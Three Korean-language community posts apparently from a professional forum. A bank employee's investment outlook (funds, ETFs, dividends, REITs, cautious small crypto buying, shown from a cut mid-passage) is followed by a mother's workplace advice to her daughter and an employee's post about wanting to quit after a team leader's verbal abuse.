기대하기가 어려울 것으로, 전체 자산비중을 조금은 줄이고, 투자의 틀을 조금 바꿀 필요가 있습니다. 왜냐면 과거의 주식시장은 어떤 종목을 샀어도 올랐을 그런 시장이었던 반면 앞으로의 시장은 그렇게 쉽지 않을 것이기에 그렇습니다. 그리고 개별 이슈들의 모든 사안은 개인들이 점검하기는 어려우니 펀드와 ETF를 통해서 원하는 분야에 맞추어 있는 투자 상품에 투자하는 것이 좋습니다. 성장주식 외에 배당성향이 강한 기업에 투자방법도 이용해 볼만합니다. 국내의 배당성향이 큰 기업주식에 투자할 수도 있고 미국, 유럽, 아시아 국가 중 꾸준한 배당성향을 내는 회사들의 주식, 그런 회사들의 모음펀드, ETF 투자도 좋은 방법입니다. 금리 인상기에는 리츠 관련 투자도 많이 언급 됩니다. 부동산 임대료가 올라가서 그만큼의 수익을 올릴 수 가 있기에 단기적으로는 실제 수익이 나기도 한답니다. 하지만 지속된 금리인상에는 결국 부동산 대출이자가 올라가서 비용이 커지고, 실질 임차인의 부실 문제가 발생할 수 있음을 알고 투자해야 한답니다. 화두가 되고 있는 가상화폐에 요즘 새로운 분위기가 감지되고 있습니다. 독일과 일본에 금융자산 안에 암호화자산을 기재하고 있습니다. 중국도 CBDC(중앙은행 디지털화폐) 도입에 주력하고 있습니다. 세계 최로 캐나다 비트코인 ETF가 승인이 되었고, 비록 며칠 전 실패했지만 지금도 비트코인 현물 상장지수펀드(ETF)가 미국 증권거래위원회의 장벽을 넘으려고 계속 시도하고 있습니다. 국내에서도 가상화폐에 대한 징수여부가 논란이 되다가 현재는 유예되어 있는 상태이죠. 아직은 이렇다~ 라고 완전정비가 안된 상태이지만, 거스를 수 없는 흐름으로 인식되어 관심을 가져야 합니다. 다만, 바로 당장 금리 인상기에는 그 성장 동력이 떨어질 것으로 보여 소액 적립식으로만 접근하시길 바랍니다. 다양한 자산에 관심을 가지고, 그 중 본인에게 맞는 투자자산을 찾아서 꾸준함과 깊이를 더해 본다면 투자실력도 늘지 않을까 생각해봅니다.
김해진 | 하나은행
22년 02월 03일
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딸 아이를 위해 적어두었던 꼰대 엄마의 조언
애 둘 다 키우고 아직까지 현역에서 일하며 몇년 후 우리 딸이 첫출근을 하면 들려주려고 적어 두었던 꼰대 아줌마의 라떼 이즈 호스 이야기입니다. 1. 회사는 이익단체이고, 가장들은 목숨을 걸고 일한다. 절대 대충 일하지 마라. 2. 회사는 네 커리어를 관리해줄 의무도 없고 관심도 없다. 해마다 연말에 레쥬메를 정리하고 새해 계획을 세워라. 이직을 하지 않더라도 면접도 기회가 되면 봐라. 3. 외국계 회사처럼 버티칼 조직이 아닌 경우 국내기업은 사내 네트워크가 하나의 능력이다. 과장급 이상 이직 시에는 1년 이상 적응 기간이 소요되니 이직 시 회사 선택에 신중해라. 4. 옷은 너의 능력보다 더 많은 인상을 남긴다. 기본 스타일 정장을 구입하되 소재가 고급스러운 스타일로 사이즈는 약간 넉넉하게 사라. 절대 대충 입고 다니지 마라. 5. 대기업에서 여자 부장까지 살아남으면 임원될 가능성이 아주 높다. 살아남아라. 6. 요가든 웨이트 트레이닝이든 운동을 생활화해라. 정신적,육체적 스트레스로부터 너를 지켜줄 갑옷이다. 7. 회사에서나 가정에서나 레버리지를 잊지 마라. 너가 잘하지 못하거나 중요하지 않은 일은 과감히 위임하고 잘하고 중요한 일에 집중해라. 엄마가 청소를 깔끔한 아빠에게 위임했듯이. 8. 부모님께 세후 십일조 반드시 내라. 지금까지 키우느라 들어간 돈 수억이다.
안상미 | Tricentis
22년 02월 03일
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이직이 너무 마렵습니다.
시국이 시국인지라.. 이직하기도 참 힘든거 아는데 팀장때문에 더이상 버티기가 힘드네요ㅜㅜ 술자리때 팀장한테 심한 인신공격을 당했는데 정말 뜬금없는 상황이였습니다.. 나중에 들어보니 경력사원 신입처럼 길들일려고 세게 한번 말한거라네요.. 그때 같이있던 직원분들도 다들 벙져서.. 사실 평소에도 언행이 좋지는 않은 분인데 업무적으로 크게 부딪힌적도 없고 일 잘한다는 소리도 들을만큼 나름 관계도 나쁘진않았습니다만.. 이렇게 뜬금포로 쌍욕을 먹으니 정말 사람이 한순간에 싫어지더군요 사회생활하다보면 별별 사람 다 만난다지만 업무적으로 매일 보고 얘기해야되는 상사라 하루하루 견디기가 힘드네요. 이거 이직이 답인가요..?
대롱대롱대롱이
22년 02월 03일
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